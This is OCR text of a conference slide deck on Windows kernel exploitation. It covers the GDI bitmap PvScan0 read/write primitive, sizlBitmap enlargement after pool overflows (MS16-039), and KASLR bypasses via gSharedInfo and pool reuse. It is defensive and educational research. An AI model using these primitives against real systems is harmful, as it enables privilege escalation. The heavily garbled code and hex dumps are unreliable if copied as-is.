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PROTECTION MECHANISMS

m Integrity Levels: call restrictions for applications running in Low m
Integrity Level — since Windows 8.1

m KASLR: Address-space layout randomization (ASLR) is a
well-known technique to make exploits harder by placing various
objects at random, rather than fixed, memory addresses.

m SMEP: Supervisor Mode Execution Prevention allows pages to be ~-
protected from supervisor-mode instruction fetches. If enabled,
software operating in supervisor mode cannot fetch instructions
from linear addresses that are user mode reachable.



WHAT IS AN
ARBITRARY WRITE
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ARBITRARY WRITE
= An arbitrary write is the result of exploiting a bug, it allows an "

attacker to place data under his control at an address of his
choosing. (AKA Write-What-Where)

m Can be used to disrupt execution flow (write function pointer,
vftable, etc), and sometimes even be turned into a read/write
primitive (re-using internal data structures to your advantage).

v Examples: Heap overflows, many kinds of memory corruption
and use-after-free bugs.



CURRENT
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OBSTACLES

m Integrity levels appeared in Windows Vista

m Low Integrity Level in Windows 8.1 suppressed all the kernel
addresses returned by NtQuerySystemInformation

m The most affected exploits are Local Privilege Escalation launched

from sandboxes (like IE, Chrome, etc). =



CE&RE

SECURITY

Abusing GDI for ring0
exploit primitives:

RELOADED

H EB

CALL RESTRICTIONS

Running in Medium Integrity Level

v You know where the kernel base is,
process tokens, some kernel structs, etc.

v Exploitation tends to be “trivial”

- e
-

\ Running in Low Integrity Level

You can’t rely on
NtQuerySystemInformation

|

You need a memory leak
(second vulnerability)
to get a predictable kernel
address.

Without memory leaks
exploitation tends to be
much harder.
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LATESTS TECHNIQUES

m use GDI objects:

Abusing GDI for ring0 exploit primitives
Diego Juarez

Windows Kernel Exploitation : This Time Font hunt vyou down in 4 bytes
KEEN TEAM

m use Windows Paging Tables:

Getting Physical: Extreme abuse of Intel based Paging Systems
Nicolas A. Economou - Enrique E. Nissim

m use Windows HAL's HEAP:

o Bypassing kernel ASLR - Target: Windows 10 (remote bypass)
Stéfan Le Berre - Heurs



https://www.coresecurity.com/system/files/publications/2016/10/Abusing%20GDI%20for%20ring0%20exploit%20primitives-2015.pdf
https://www.coresecurity.com/system/files/publications/2016/10/Abusing%20GDI%20for%20ring0%20exploit%20primitives-2015.pdf
http://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes
https://www.coresecurity.com/system/files/publications/2016/05/CSW2016%20-%20Getting%20Physical%20-%20Extended%20Version.pdf
https://www.coresecurity.com/system/files/publications/2016/05/CSW2016%20-%20Getting%20Physical%20-%20Extended%20Version.pdf
https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit?pref=2&pli=1
https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit?pref=2&pli=1

Why GDI OBJECTS?
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Why GDI objects ?

m Easy to understand/manipulate
m Kernel object addresses leaked to user-mode processes
m Common structure for all Windows versions

m Technique first discussed by KEEN TEAM (as far as we know &J) ~ay



http://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes

WHAT CAN BE
DONE
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[ Calculate all our kernel
addresses and trigger
ring0 arb write.

H_ |
Full arbitrary write (DWORD/QWORD) \ Partial arbitrary write (WORD)

m Overwrite GDI objects = Overwrite GDI objects

o  Kernel GDI objects addresses are o  Dependant on the low part of the
known from user mode. object address
b 3

Partial arbitrary write (single BYTE/BIT) =
b3

You don’t control the value?
Example: or byte ptr [rax],value *

v/ You can use what we are going to
present %



Reviewing PvScanO
TECHNIQUE
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kd: dt @%peb ntdll! PER GdiSharsedHandleTable

+0=0f8 GdisSharedHandleTable : (0=z0000001e"1bfS0000 VYoid o
kd:> db 0=z0000001="1bLf20O000

typedef atruct |
P PVOID64 pEernellddress:
USHORT wProcessld:
USHORT wCount:
USHORT wlpper:
T5SHORT wIype; <=

EVOID&4 plUaerRddreasr
} GDICELLG4:

f0 04 00 40 01 £9 ff f£f00 00 00 OO 04 01 |04 4D|
oo oo oo oo 0o o0 oo oo
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By knowing a GDI handle, we can know the offset of its entry in the table.

addr = PEB.&FdiSharedHendleTable + (handle & O0xffff) * aizeof (GDICELLG4)

Say we call CreateBitmap and it returns HBITMAP = OXxOF050566.

kd: db 0=0000001="1Lf20000 + Oxl183 = DEEE“(””””
—

00 10 =2 40 01 9 ff ffHid 0b) 00 00 [05_0f| [0F 40
oo oo oo oo oo od oo oo

typedef struct { OxFFFFF90140521000
|PvOID64 pEernelhddress; | <@

USHORT wProcessld; @ \
USHORT wCount:

USHOET wipper; g
USHORT wIVDE: g
PVOID6E4 plUserRddress;
| GDICELLG4:
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m  So, what's at pKernelAddress?
o a SURFACE object.

kd: db 0=FFFFF20140=21000
typedef atruct | 66 05 05 Of 00 OO0 00 00-00 00 00 OO0 00 00 00 o0

BASEOBJECTG4 BaseObject: // 0x00 LRSI LR LR B
SURFOBJG4 SurfObi: // 0x18
[---]

| SURFACEG4:

ULONGG64 dhaurf; // 0x00
ULONGE4 haurf: // 0x08
ULONGG64 dhpdev; // 0x10
ULONG&4 hdev: // Oxl&
SIZEL sizlBitmap; // 0x20
ULONGE4 cjBita: // 0x28
ULONGE4 pvBita; // 0x30
ULONG&4 [pvScand;

T~

All we care about here is PvScanO,
a pointer to pixel data, and what
GetBitmapBits and SetBitmapBits
ultimately operate on.
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Although we cannot access SURFACE, BASEOBJECT or SURFOBJ members
from user-mode code, nothing stops us from calculating their address.

PvScanO offset = pKernelAddress + 0x50
\/

kd: db 0=FFFFF20140=21000
66 05 05 Of 00 00 OO OO-00 OO o0 00 00 OO0 00 oo
oo oo 0o oo oo o0 oo oo

| |60 12 =2 40 01 £9 £f ff |

This is interesting, because controlling this single pointer can give us memcpy() of any
virtual address, and comes free with a very convenient way to invoke this functionality
from ring3...even at LOW INTEGRITY.
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m Create 2 bitmaps (Manager/Worker)

m Use handles to lookup GDICELL, compute pvScan0 address

m Use vulnerability to write Worker’s pvScan0 address as Manager's
pvScanO value.

m  Use SetBitmapBits on Manager to select address. \

m  Use GetBitmapBits/SetBitmapBits on Worker
to read/write previously set address.
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Create 2 bitmaps (Manager/Worker)

hMenager = CreateBitmap(...)r

hWorker = CreateBitmap({...):!

v SURFACE LOOKUP

Use handles to lookup GDICELL, compute pvScan0 address

ManagerCell = *( (GDICELLG64 *) (PEB.GdiSharedHandleTable + LOWOED (hManager) * O0x18)):
pMenagerpvScanl = ManagerCell .pEernelbddresa + 0x50;

Use vulnerability to write Worker’s pvScan0 address as Manager's
pvScanO value.

Jiama]
Use SetBitmapBits on Manager to select address.

SetBitmapBita(hManager, aizeof (writebuf), swritebuf):

=

=

Use GetBitmapBits/SetBitmapBits on Worker v/ READ/WRITE primitive

to read/write previously set address.

SetBitmepBita (hiWorker, len, writebuffer);
GetBitmapBita (hWorker, len, readbuffer);
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hManager = 0x93050769

GDI_TABLE EHNTRY:
|pHernelHddress: FEFFFoA142348000
wProcessId: B88O6bYC
wCount: BGO60
wllpper: 2385
wType: 48085 {(GDIObjType_ SURF_TYPE)
pUserfAddress: B000B0AABBOOAGB0A

BASEOBJECT :
hHngr: 93056769 |
ulShareCount: 80808008
cExclusivelLock: 0088
BaseFlags: 00080
Tid: @ep@pEAEOAOA0A0A

SURFOB.J:
dhsurf:0000000800000000
hsurf:FFFEFFFF93050769
dhpdev : 0000000 06000000
hdev : 0068800080000000
sizlBitmap: (X)00800064 (V)0008006Y
cjBits: 0000OOEO0EBA0YCLD
puBits: FFFFFO0142348260
puScanf: FEFFFOO142348260
1Delta: 80860198
ilniq: 0@0B1889
iBitmapFormat: 08800086 (BHF_32BPP)
iType: 8888 (STYPE_BITHAP)
fjBitmap: 0081 (BHF_TOPDOWN)

A expioit primitives: NELOADED

hMenager = CreateBitmep(...]};
hWorker = CreateBitmap({...)’;

BASEOBJECT64 BaaeObject; /S 0x00
SURFOBJG64 SurfObj; // 0xla

ULONGG4 pvicanO; // Ox38

H B

hWorker = 0x20050555

ffff90142348000 + 50 fffff90142352000 + 50

pvScanO offset

PUT THIS

fffff90142352050

AT THIS
ADDRESS

ffff90142348050

GDI_TABLE_EMTRY:
pEernelAddress: FFFFF?B1#2352BBB|
wProcessId: 88888b°%°c

wCount: @008

wlpper: 2885

uType: 4885 (GDIObjType_ SURF_TYPE)
pUserfddress: OA0B0OAOBOOA0BA0A

BASEOBJECT:
[hHmgr: 20058555
ulshareCount: BdOo@eoan
cExclusiveLock: 06888
BaseFlaqs: @880
Tid: 900POBEOOEOAAOOELO

SURFOB.J:
dhsurf:0000000000000008
hsurf :00000000208050555 H""‘
dhpdev:0000000000000000
hdev:8000000000800008
sizlBitmap: (X)0OPBAB63 (Y¥)0A0OANGY
cjBits: AAPBAAAAARABYabA
puBits: FFFFFOB1423522680
puscan@: FFFFF90142352260
1Delta: 6088818c
illniq: 0A0B188a
iBitmapFormat: AOABBBAG (BMF_32BPP)
iType: 8088 (STYPE_BITHAP)
fjBitmap: 8881 (BMF_TOPDOWH)
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hManager = 0x93050769

GDI_TABLE_EHNTRY:
pEernelfAddress: FFFFFOO1423480080
wProcessId: B88O6bYC
wCount: BGO60
wllpper: 2385
wType: 48085 {(GDIObjType_ SURF_TYPE)
pUserfAddress: B000B0AABBOOAGB0A

BASEOBJECT :
hHngr: 93056769 |
ulShareCount: 80808008
cExclusivelLock: 0088
BaseFlags: 00080
Tid: @ep@pEAEOAOA0A0A

SURFOB.J:
dhsurf:e0000000000000080
hsurffFFFFFFFe3050769
dhpdev:908000000000000080
hdevu : 0000000000000 00
sizlBitmap: (X)B808000064 (Y)000DAB6Y
cjBits: 80APAAOBAAAAYCLA
puBits:
puS[;an[.'j fffff9014235205O
1Delta: #O0808198
ilUniq: 980A1889
iBitmapFormat: B8888AA6 (BHF_32BPP)
iType: 8888 (STYPE_BITHAP)
fjBitmap: 8881 (BHF_TOPDOWN)

hWorker = 0x20050555

fffff90142352050

GDI_TABLE_EMTRY:
pEernelAddress: FFFFF?B1#2352BBB|
wProcessId: 88888b°%°c
wCount: @008
wlpper: 2885
uType: 4885 (GDIObjType_ SURF_TYPE)
pUserfddress: OA0B0OAOBOOA0BA0A

BASEOBJECT:
[hHmgr: 20058555
ulshareCount: BdOo@eoan
cExclusiveLock: 06888
BaseFlaqs: @880
Tid: 900POBEOOEOAAOOELO

SURFOB.J:
dhsurf:0000000000000008
hsurf :00000000208050555
dhpdev:0000000000000000
hdev:8000000000800008
sizlBitmap: (X)0OPBAB63 (Y¥)0A0OANGY
cjBits: AAPBAAAAARABYabA
puBits: FFFFFOB1423522680
puscan@: FFFFF90142352260
1Delta: 6088818c
illniq: 0A0B188a
iBitmapFormat: AOABBBAG (BMF_32BPP)
iType: 8088 (STYPE_BITHAP)
fjBitmap: 8881 (BMF_TOPDOWH)




CE&RE

SECURITY

PvScanO Technique

Abues:(r;asljoci;tD; r:::itrii\?gs(: R E LOA B E D

hManager = 0x93050769

GDI_TABLE_EHNTRY:
pEernelfAddress: FFFFFOO1423480080
wProcessId: B88O6bYC
wCount: BGO60
wllpper: 2385
wType: 48085 {(GDIObjType_ SURF_TYPE)
pUserfAddress: B000B0AABBOOAGB0A

BASEOBJECT :
hHngr: 93056769 |
ulShareCount: 80808008
cExclusivelLock: 0088
BaseFlags: 00080
Tid: @ep@pEAEOAOA0A0A

SURFOB.J:
dhsurf:0000000800000000
hsurf:FFFEFFFF93050769
dhpdev : 0000000 06000000
hdev : 0068800080000000
sizlBitmap: (X)00800064 (V)0008006Y
cjBits: 0000OOEO0EBA0YCLD

pu.n;:;itg;:[££££.£1;|n:11.123.111:.2.5131_____|
puvscanpd fffff90142352050

1Dbelta: BOABB198

illniq: PABA1889

iBitmapFormat: BABB0BB6 (BHF_ 32BPP)
iType: BBOA (STYPE_BITHAP)
fiBitmap: 8881 (BHF_TOPDOWN)

H B b

hWorker = 0x20050555

SetBitmapBita (hManager,

sizeof (writebuf),

swritebuf) ;

GDI_TABLE_EMTRY:
pEernelAddress: FFFFF?B1#2352BBB|
wProcessId: 88888b°%°c
wCount: @008
wlpper: 2885
uType: 4885 (GDIObjType_ SURF_TYPE)
pUserfddress: OA0B0OAOBOOA0BA0A

BASEOBJECT:
[hHmgr: 20058555
ulshareCount: BdOo@eoan
cExclusiveLock: 06888
BaseFlaqs: @880

Tid: 900POBEOOEOAAOOELO

URFOB.J :

dhsurf : 0000000000000000

hsurf : 900000862 005 8555

hpdev: 0800800080008000
ev:H00BOB000B0A6A0D

1Bitmap: (X)000080063 (V)0000006Y
its: 80098BBBOOBBYab A

puscan®| ffffe0000c66a2c0
1Delta: 6088818c

illniq: 0A0B188a
iBitmapFormat: AOABBBAG (BMF_32BPP)
iType: 8088 (STYPE_BITHAP)
fjBitmap: 8881 (BMF_TOPDOWH)
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GetBitmapBita (hWorker,

len,

readbuffer) ;
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H B

hWorker = 0x20050555

GDI_TABLE_EMTRY:
pEernelAddress: FFEFFF981423520880
wProcessId: 88888b°%°c
wCount: @008
wlpper: 2885
uType: 4885 (GDIObjType_ SURF_TYPE)
pUserfddress: OA0B0OAOBOOA0BA0A

BASEOBJECT:
[hHmgr: 20058555
ulshareCount: BdOo@eoan
cExclusiveLock: 06888
BaseFlaqs: @880
Tid: 900POBEOOEOAAOOELO

SURFOBJ:
dhsurf : 0000000000000000
hsurf : 900000802 005 8555
dhpdev: 8600800000008000
hdev: 6606000800000088
sizlBitmap: (X)00000063 (V)0008006Y
cjBits: 800POOOBENOBYabA

pvBits:

puscan®: | ffffe0000c66a2cO
1Delta: 0080A18

ilUnig- a

iBitmapFormat: 0BBABOAG (BMF 32BPP)
iType: 8808 (STYPE_BITHAP)
fjBitmap: 8881 (BHF_TOPDOUN)

¥
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Not ALL arbitrary writes allow use of the PvScanO technique

Writes of uncontrollable values can’t be used to overwrite ® "
the PvScanO property. '

We will demo a kernel pool overflow where it’s not possible
to overwrite the PvScanO property. (MS16-039/CVE-2016-0165)

T
v We are going to show a way to use what we already know

to make successful use of the technique on 99.9%
of kernel arbitrary writes \

o It adds a new step to the original technique

o It consists of an overwrite of a different SURFOBJ property
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m Keen Team touched on the subject at their
presentation named above.

m We use/described this technique in the blogpost
“MS16-039 - "Windows 10” 64 bits Integer Overflow

exploitation by using GDI objects". \
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If we call CreateBitmap:
CreateBitmap <nWidth, nHeight, 1. cBitsPerPel. lpuvBits>;

An then we call GetBitmapBits/SetBitmapBits
SURFACE bounds will be validated by:

zize = nWidth * nHeight = cBitsPerPel;

It means we can’t access beyond the object
limits (as expected)

I
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PvScanO always* points only a few bytes ahead, the pixel data
pointed to by PvScanO is contiguous to the SURFOBJ header.

]

BASEOBIJECT SURFOBJ

\ \

pixel data

o9 n WK T

TOIt=W—=N=0

(

/ T

!

SURFACE

*doesn’t HAVE to, but does
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The SURFOBJ.sizIBitmap property (Xx,y size)

o

typedef struct {
ULONGGE4 dhsurf; // Bxz00
ULONGE4 hsurf; // @xB8
ULONGBA dhpdev; // Bx10
ULONGB4 hdew; // ©x18
SIZEL sizlBitmap; // @x20
ULONGBA cjBits; // Bx28
ULONGBA pvBits; // Bx30
ULONGBS pv5can®; // Bx38
ULONG32 1Delta; // Bx48
ULONG32 iUnig; // @xd4
ULONG32 iBitmapFormat; // @x48
USHORT iType; // @xdl
USHORT fjBitmap; // Bx4E

} SURFOBIG4; [/ sizeof = Bx5@

The units

function uses this

H N
i
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m The SURFOBJ.sizIBitmap property represents
and of the SURFACE -

m If sizIBitmap.cx and/or siz|Bitmap.cy are overwritten
v~ The SURFACE can be enlarged

m It means we get read/write access beyond the \
bounds of the pixel data buffer!
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SECURITY exploit primitives:

m The idea is to turn on some bits to enlarge
the SURFACE. N

v We can use any* arbitrary write, aligned
or not, controllable or undefined:

QWORD (8-byte) - DWORD (4-byte)
WORD (2-byte) - BYTE (1-byte)
single BIT!

*NULL writes can’t be used @
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Extending a SURFACE
(before corruption)
SLAJRFACE ~ K =
é pixel data other objects

(after corruption) SURAFACE \

other objects

pixel data

Y3 +t=—W—N-—-0

|
|

. 1
|
\d
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m MS16-039 (CVE-2016- 0165) exploit after heap overﬂow

v kernel debug (x86)

kd> g

frfffonl’

kd>

FFFFFO01"
FFFFF901"
FFFFF901"
FFFFFO01"
FFFFF901"
FFFFFO01
FFFFFI01"

10576c00
10576c10
10576c20
10576c30
10576c40
10576c90
10576c60
10576¢70

Breakpoint 1 hit
win32kbase 'RGNMEMOBJ :
fffff960 bedae2f? 8hf0

kd> dqg fffffon1°70576bf0+10

10576c00
1057610
10576c20
70576c30
10576c40
10576c50
10576c60
105176c70

kd> dq FFFFF901 70576bf0-10
FFFFFI01"
fFFFF901"
fFFFFI01"
FFFFFO01"
FFFFFo0L"
FFFFFI01"
FFFFFI01"
FFFFFO0L"

00000000°
000000600°

00000000
00000000
00000000

FFFFFO01"
00010000
00000000

00000001
fFFFFO01

00000000
00010000

:vCreate+0x187:

100000000 00000000 fFFFfFf
'70575Fb0 00000000 00043333
FEFFFFFF"
00000001
100000148 11111901 /05 76658
FFFFFon1"
100000006 00000000 00000000
00000000

01651070 00000000 BOBOOVOO
00000000 0OOBOOO0 ' BOBOBOOO

‘01051070 00000000 0000000
‘00000000 |90R000A1)|DOBEAS2 <--- SURFOBJ64.sizIBitmap
‘00000148 90 0 /6e08

1057608 00009b12° 00000148
00000006 00000000 POBOOOOO
04800200 0000ODOO VOBODVOO

mov esi,eax

00000000 04333300 0 00
00000000 |00000001)\f fffffffl<--- SURFOBJ64.sizIBitmap

1057658 00009b12 00000148
04800200 00000000 POBOOOOO

S
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m One possible strategy is to make two SURFACE objects adjacent in
memory by doing a very simple heap spray

m After modifying the SURFACE 1 sizIBitmap, the idea is to overwrite
PvScanO on the adjacent SURFACE 2

SURFACE 1 SURFACE 2
A . \
[ !
i v | P
z . \
| . : S .
- —>|B pixel data - ->» < pixel data
r:1 ; n \
a 1 0
p 1
\ .
v relative read/write primitive v arbitrary read/write primitive !
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v IMPORTANT: Any adjacent kernel structure could be effortlessly e
manipulated after enlarging a SURFACE

m Finally, it’s interesting to say that:

SURFOBJ.cjBits is set to |nWidth = nHeight = cBitsPerPel

However, this property is not used to validate SURFACE bounds
after the header is corrupted!

T



MS16-039
LIVE DEMO

m Target:

Windows 10 x64 v1511
Scenario:

Running in Low Integrity Level
Objective:

Get SYSTEM privileges by using
PvSctanQ Extended technique



Windows 10 v.1607 |-
FIX
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m at Black Hat USA 2016 Microsoft announced the . -
Windows 10 Anniversary Update (v.1607) |

m Three very important KASLR bypasses were fixed

Randomized Windows Paging Tables
Killed GdiSharedHandleTable kernel address leak
SIDT/SGDT access virtualized under Hyper-V

m Let’s check \

“Windows 10 Mitigation Improvements”
Microsoft presentation
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Windows Kernel 64-bit ASLR Improvements

Predictable kernel address space layout has made it easier to exploit certain types of kernel vulnerabilities
64-bit kernel address space layout is now dynamic Various address space disclosures have been fixed
47 30 29 20 1211 (o}

v Page table self-map and PFN database are
randomized

Offset

+  Dynamic value relocation fixups are used to

System region PML4 entries are preserve constant address references

randomized
Non-paged pool v SIDT/SGDT kernel address disclosure is prevented
‘ ! when Hyper-V is enabled

Getting Physical

System cache * Hypervisor traps these instructions and hides
Pin datsbasa the true descriptor base from CPL>0

Paged pool

Page tables

..and so on v GDI shared handle table no longer discloses
512 zo kernel addresses

First shipped

Breaking exploitation techniques Windows 10 64-bit kernel August, 2016 (Windows 10 Anniversary Edition)
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GDI shared handle table no longer discloses
kernel addresses
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FEFFF901"
FEFFFO01"
FEFFFO01"
fFEFFF901"
FEFFFO01"
FEFFF901"
FEFFF901"
FFFFFI01"

=
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kd> dg poi (win32kbaset!gpentHmgr)

iE B =

v.1511
40210100 000000OD DODODOB FTFFI0] " 40000d60 fff18322°
40210110 40080188° ) ffff8322
40210120 fffffoel’ 40080108 00600000 ffff8322°
40210130 00000000 fHE11901°4L0000/c0 ffff8322°
40210140 40080188° 00000000 °POBOBOOO ffffg322"
40210150 fffffool’ 40080108 ° 00600000 ffffga22’
40210160 00000000 P {11901 ° 40000360 ffff8322°
40210170 40050185 'PO000ON0 PBOROAOG ° BOLBOBOOE ffffg322"

GDICELL.pKernelAddress
v Kernel pointer

80210160
80210110
80210120
80210130
80210140
80210150
80210160
80210170
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00000000 ' 00000002-{FFFFFFFT
pOAS0ASS"

FEFEEFEE FFO 00BS000S ' BOAROH0D
00000000 FEFEFFEF 100000
pOAS0A0S " POPOBANN * BOGBOA0N
fFFFFFFF POAS0A0S ' BOABOAGH
000000 FEFFFFFF fFODOBOT
00050085 ' §0OARAA PEOARAAN * AOPRANAA

GDICELL.pKernelAddress
Not really a pointer




CE&RE

SECURITY

Abusing GDI for ring0
exploit primitives:

Windows 10 v1607 Fix

RELOADED
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hitmap handle: b@5888F

8080016bh1322cd68 pebtgdishared
FEEfc?8480218008 windZkbase!gpenthngr

win32kbaset?gpHandleManagerPEIPEAVGAdiHandleManagerBREA <exportadol

; Exported entry 178. ?gpHandleManager@@3PEAUGdiHandleManagerPEEA
; class GdiHandleManager = gpHandleManager
7gpHandleManager@E@3IPEAUGdiHandleManagerBREA dg 7

GDITAG_HMGR_SFPRITE_TYPE GgpHandleManager

fFEFcI848PARATAR *Getc’ pool tag (size: BxB20@)>: gpHandleManager+Bx1@ =|f{ffc?84800A06700
structl {

WORD unk@; s7 wal: @

DWORD unkl; A7 wal

- |
struct? * p_structl; A7 wal:z:| FFFEc?84" 80000640

£fffc984800086d48
struct? {
ULONG64 p_win3Zkbasetgpenthmgr; ~~ val: £fffc?848821060008

; = ;
L ﬂghﬂiea; ¢ max handloct.val> (d900n FEFFcI8480061010 *Gelt’ pool tag (size: Bx820):

DUORD handlel; /7 val: DOOOBESE structd 2

DWORD handle2: 57 ua ULONG64 p_tahle; #/ val:[FfFfc984° 80RA1020

'Getc’ pool tag (size: BxI@):

ULOMG64 p_struct3d Py ULONG64 maxentries; /7 wal:

val:
val: |FEffc?84800010108 T 3

table:

fEFFc984’ 8000108208
fEffc984’ 800010308
fFffc984’ 800010848
fEFFc984’ 800010858
fFFfc984’ 8000108608
fEfFc984’ 8000108708
fFffc984’ 8000108808

FFFFc984° 800020008
FEFFc984° 8008 fOAA
FEFFc984° 800940008
FEFFc984° 801500008
FFFFc984° 812220008
ARRAAAAA " AREOAEAA
BRRAAAEA " AREOREAA

FFFFc984° 801520008
FEFFc984° 800920008
FFFFc984° 8019008
FFFFc984° 8O1F 20008
ARRAAAAA " AREOREAA
ARRAAAAA " AROOAEAA
BRRAAAEA " AREOREAA
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bhitmap handle: hBSB88F
FFFFc9c911258e54 win32kbase'HANDLELOCK -

H N

win32kbaset!GdiHandleManager: :GetEntry’ gpH. ap+@x18 =|ffffc984BBBBB?BB
win32kbaset!GdiHandleManager: :Decodel
: ' : : J £ T _structl £
win32kbase!GdiHandleEn€ryDirector ﬂ ableEntrylndex Hﬂﬂﬂn U_.-.ﬁ?; s ua%: ? .
£ unkl ; s7 wal:
At Stenpty % p ac) #7 wal: FEFFC984°8P0OP6AD
r8 = FFFFHB8A117caBB888 (huffer?) &
r? = FEFFHBA117caBB878 (buffer?
struct? {
ULONGe4 p_wind2kbas hmgr; -7 val: ffffc?784882108000
win32kbase?!GdiHandleEntryTabhls intryObject ——> DWORD unk@; max_handles? val: Bx18808
rex = ££££c984 8APPO6A0 Cp <t DHORD handle®; val: AABEAB3C
rdx = B88f <(dh = @8, d1 = 8008885 £
We really lost our “user-mode friendly” FFFEe59180001010 ———— >
if{dx > p_structl.handleZ> .
TR s e, = e SURFACE LOOKUP mechanism
p_tabla = fFFFc?8480001020 + § wf £££cIB4800O1068| ====> FFFFcIBa STRUEE ILoNG4 p_ s/ val: EEEFC984°8PARLA20
4”———’____________ ULONGGE4 m: S5 /7 val: DOBABPAR" ARO1BAO0G
table:
ffffc?84'80AR1A2A fFfffcl 2000 Ffffc984°80@15a000
ffffc?84 ' 80AAR1A3A fFfffc9. ‘AAA Ffffc984°80A72000
ffffc?84 ' 80AA1A4A Ffffc96 WA ffffc984° 86019000
ffffc?84" 8AAA1ASA ‘ﬂ]ffffc984‘sﬁlfaﬂﬂﬁ
fFfffc?84°80AA1AGA (FFFfc984 AAAAARAA * ARAAARARA
ffffc?84" 80AA1A7A "AAAAAAA " ARAARARAA
ffffc?84°80AA1A8A A" @A, FAAAAA " ARAARAAA
ULONG6E4 p_entry = =(ULONC 1 D e e o0
p_entry = ffffc?8481a22000 == = fffc?8481a228f8

ULONG64 pwscanB = =C(ULONGG64 >(p_..




v/ Lets find a new one! @




BYPASSING
Windows 10 v. 1607
KASLR
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RELOADED

m Structure user32!gSharedInfo

o check
Alex Ionescu@Recon 2013 and
Tarjei Mandt@BH 2011 for info on

o ReactOS

https://www.reactos.org/wiki/Techwiki: Win32k/SHAREDINFO

typedef struct
{

HANDLEENTRY =aheList;
ULOMG HeEntrySize; -~ Win? — not present in WinHP?
ULONG_FTR pDisplnfo;

ULONG_FTR ulfSharedDelta:

ULOMG_FPTR awmControl;: ./ Not in XP

ULOMG_FTR DeflindowMsgs; ~~ Hot in HP

ULONG_PTR DefWindowSpecMsgs; /7 Mot in HFP

> SHAREDINFO, =PSHAREDINFO;

H BN

Array of HANDLEENTRY structures
Object index is obtained by
object_handle & OxFFFF

'™

typedef struct _HANDLEEHNTRY
£

<% BAA = PUOID phead; |
7% gad =7 PUOID pOuners;
/% Blc = BYTE bType:
% BBAd = BYTE bFlags:
% BBe =+ WORD wlnigs:
> HANDLEENTRY . =PHE;

T~

Pointer to the Kernel Object ?|
FIT or PPI

Object handle type

Flags

Access count.

e



https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain't%20one.pdf
https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain't%20one.pdf
https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf
https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf
https://www.reactos.org/wiki/Techwiki:Win32k/SHAREDINFO
https://www.reactos.org/wiki/Techwiki:Win32k/SHAREDINFO
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m Objects indexed by this table: User Objects

https://msdn.microsoft.com/en-us/library/windows/desktop/ms724515(v=vs.85).aspx

User object

Accelerator table

Caret

Cursor

low position

Overview

Keyboard Acce

Carets

Cursors

Dynamic Data Exchange Management Library

Hooks

Icons

Menus

Windows

Windows

|



https://msdn.microsoft.com/en-us/library/windows/desktop/ms724515(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms724515(v=vs.85).aspx
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m User Objects < 4KB
POOL TYPE 0x21 (PagedPoolSession) NonPagedPool H
POOL TYPE 0x29 (PagedPoolSession+0x8(?!)) : —_— '

&

But we need GDI objects, so what's the point ?

m User Objects => 4KB (Large Pool)

v GDI objets use the SAME heap as User Objects!
o GDI Objects < 4KB

POOL TYPE 0x21 (PagedPoolSession)

o  GDI Objects => 4KB (Large Pool)
NonPagedPool
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SECURITY exploit primitives: L\ A\
\\ i e e
m Knowing the previous, it's possible to predict GDI o

ALLOCATIONS in KERNEL SPACE

m So, if we:

v Alloc a USER object (we know its KADDRESS)
v Free the same USER object

v Alloc a GDI object with size equal to USER object \

m We have a

(Free List mechanism!)
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mopéyeum.eommm i ~-f.=

H W NESER O

Alloc USER object A Alloc USER object B
Free USER object A Free USER object B

ADDRESS(A) == ADDRESS(B)

Alloc GDI object
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s KMALLOC/KFREE primitives

o For objects < 4KB

KALLOC: win32u!NtUserConvertMemHandle()
KFREE: win32ulNtUserSetClipboardData() +
EmptyClipboard()

o For objects >= 4KB \
KALLOC: user32!CreateAcceleratorTableA()

KFREE: wuser32!DestroyAcceleratorTable()
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m Try to use >= 4KB objects if
possible.

B0

HACCEL WINAPI CreatefcceleratorTable(
_In_ LPACCEL lpaccl,

~In. int cEntries u

|
Ipacel [in]
Type: LPACCEL
An array of ACCEL structures that describes the accelerator table. u

The number of ACCEL structures in the array.

This must be within the range 1 to 3 or the function will fail.

H N

= KMALLOC/KFREE primitives

For objects >= 4KB
KALLOC: user32!CreateAcceleratorTableA()
KFREE: user32!DestroyAcceleratorTable()

Sk

Allocations >= 4KB are aligned to
OXXXXXXXXX'XXXXX000 (12 bits)

The granularity is 4KB
(E.g 5KB request returns 8KB buffer)

If allocations are big, it's less likely that a freed
chunk will randomly be reused by the Windows
kernel during exploitation
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(OLD) GdiSharedHandleTable SURFACE LOOKUP mechanism

ULONGEL GetGdiTable() |

{
#ifdef WING4
return *(ULONGG4 *)(GetPEB() + gConfig.GdiSharedHandleTableOffset);

ULONGES GetPEB()

#ifdef WINGA
ULONGG4 TEE = (ULONGG4) readgsgword(@8x38);

~eturn *{ULONGE4*) (TEB + Bx68); #else
return *({DWORD *)(GetPEB() + gConfig.odiSharedHandleTableOffset); .!

ftelse
DWORD TEB = (DWORD) readfsdword{@xls); #endif
DWORD res = *(DWORD*)(TEB + @x3@); gl
return res;

ftendif

1

ULONGE4 GetpwScan@0ffset(HBITMAP handle)

1
if (!gGdiSharedHandleTable)

godisSharedHandleTable = GetGdiTable();

#ifdef WING4
ULONGE4 entryaddr = gGdiSharedHandleTable + (LOWORD(handle) * sizeof(GDICELLG4));

GDICELLGS cell = *((GDICELLBA *)(entryaddr));
~eturn (ULONGE4)cell. pKernelAddress + @x58;

#else
ULONGE4 entryaddr = (gGdiSharedHandleTable + (LOWORD(handle) * sizeof(GDICELL32))) & exoeeoesaefffff{ff;

GDICELL32 cell = *({(GDICELL32 *)(entryaddr)});
return (ULONGE4)cell.pKernelAddress + 8x3@;
#endif
b
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(NEW) gSharedInfo SURFACE LOOKUP mechanism

I [
[

typedef struct USER_HANDLE ENTRY { typedef struct SHAREDINFO { typedef struct _SERVERINFO { -

void *pKernel; PSERVERINFO psi; DWORD dwSRVIFlags;

